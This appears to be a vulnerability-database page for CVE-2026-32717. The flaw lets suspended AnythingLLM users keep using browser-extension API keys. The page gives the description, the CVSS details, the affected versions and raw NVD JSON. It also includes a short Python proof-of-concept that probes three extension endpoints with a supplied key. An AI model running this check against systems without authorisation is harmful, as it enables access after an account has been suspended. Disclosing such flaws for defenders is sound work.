Security Vulnerability Report
中文
CVE-2026-32717 CVSS 2.7 LOW

CVE-2026-32717

Published: 2026-03-16 14:19:43
Last Modified: 2026-03-16 20:31:46

Description

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.11.1 and earlier, in multi-user mode, AnythingLLM blocks suspended users on the normal JWT-backed session path, but it does not block them on the browser extension API key path. If a user already has a valid brx-... browser extension API key, that key continues to work after suspension. As a result, a suspended user can still access browser extension endpoints, read reachable workspace metadata, and continue upload or embed operations even though normal authenticated requests are rejected.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mintplexlabs:anythingllm:*:*:*:*:*:*:*:* - VULNERABLE
AnythingLLM <= 1.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32717 PoC - AnythingLLM Browser Extension API Key Access Control Bypass This PoC demonstrates that suspended users can still access AnythingLLM browser extension endpoints using their API key even after suspension. Usage: python3 cve-2026-32717-poc.py <api_key> <target_url> Example: python3 cve-2026-32717-poc.py 'brx-xxxx-xxxx-xxxx' 'https://anythingllm.example.com' """ import sys import json import requests def test_api_key_authentication(api_key, base_url): """Test if suspended user's API key still works""" headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } endpoints = [ '/api/extension/workspaces', '/api/extension/documents', '/api/extension/embeddings/status' ] print(f"[*] Testing API key authentication against: {base_url}") print(f"[*] API Key: {api_key[:20]}...") print("-" * 50) results = {} for endpoint in endpoints: url = f"{base_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) results[endpoint] = { 'status_code': response.status_code, 'accessible': response.status_code == 200, 'response': response.text[:200] if response.text else 'Empty response' } status = "VULNERABLE" if response.status_code == 200 else "BLOCKED" print(f"[+] {endpoint}: {status} (HTTP {response.status_code})") except requests.exceptions.RequestException as e: results[endpoint] = {'error': str(e)} print(f"[-] {endpoint}: ERROR - {e}") return results def main(): if len(sys.argv) != 3: print("Usage: python3 cve-2026-32717-poc.py <api_key> <target_url>") sys.exit(1) api_key = sys.argv[1] target_url = sys.argv[2].rstrip('/') print("\n" + "=" * 60) print("CVE-2026-32717 - AnythingLLM Access Control Bypass PoC") print("=" * 60 + "\n") results = test_api_key_authentication(api_key, target_url) print("\n" + "-" * 50) if any(r.get('accessible') for r in results.values()): print("[!] VULNERABLE: API key works for suspended user!") print("[!] This confirms CVE-2026-32717") else: print("[+] SECURE: API key properly blocked for suspended user") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32717", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:42.653", "lastModified": "2026-03-16T20:31:45.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.11.1 and earlier, in multi-user mode, AnythingLLM blocks suspended users on the normal JWT-backed session path, but it does not block them on the browser extension API key path. If a user already has a valid brx-... browser extension API key, that key continues to work after suspension. As a result, a suspended user can still access browser extension endpoints, read reachable workspace metadata, and continue upload or embed operations even though normal authenticated requests are rejected."}, {"lang": "es", "value": "AnythingLLM es una aplicación que convierte piezas de contenido en contexto que cualquier LLM puede usar como referencias durante el chat. En 1.11.1 y anteriores, en modo multiusuario, AnythingLLM bloquea a los usuarios suspendidos en la ruta de sesión normal respaldada por JWT, pero no los bloquea en la ruta de clave API de la extensión del navegador. Si un usuario ya tiene una clave API de extensión del navegador brx-... válida, esa clave sigue funcionando después de la suspensión. Como resultado, un usuario suspendido aún puede acceder a puntos finales de la extensión del navegador, leer metadatos de espacios de trabajo accesibles y continuar con las operaciones de carga o incrustación a pesar de que las solicitudes autenticadas normales son rechazadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintplexlabs:anythingllm:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.1", "matchCriteriaId": "384FD8C3-E046-493C-9996-8E3042229081"}]}]}], "references": [{"url": "https://github.com/Mintplex-Labs/anything-llm/commit/a207449095158f28c7e16acf113356b336c87803", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-7754-8jcc-2rg3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-7754-8jcc-2rg3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}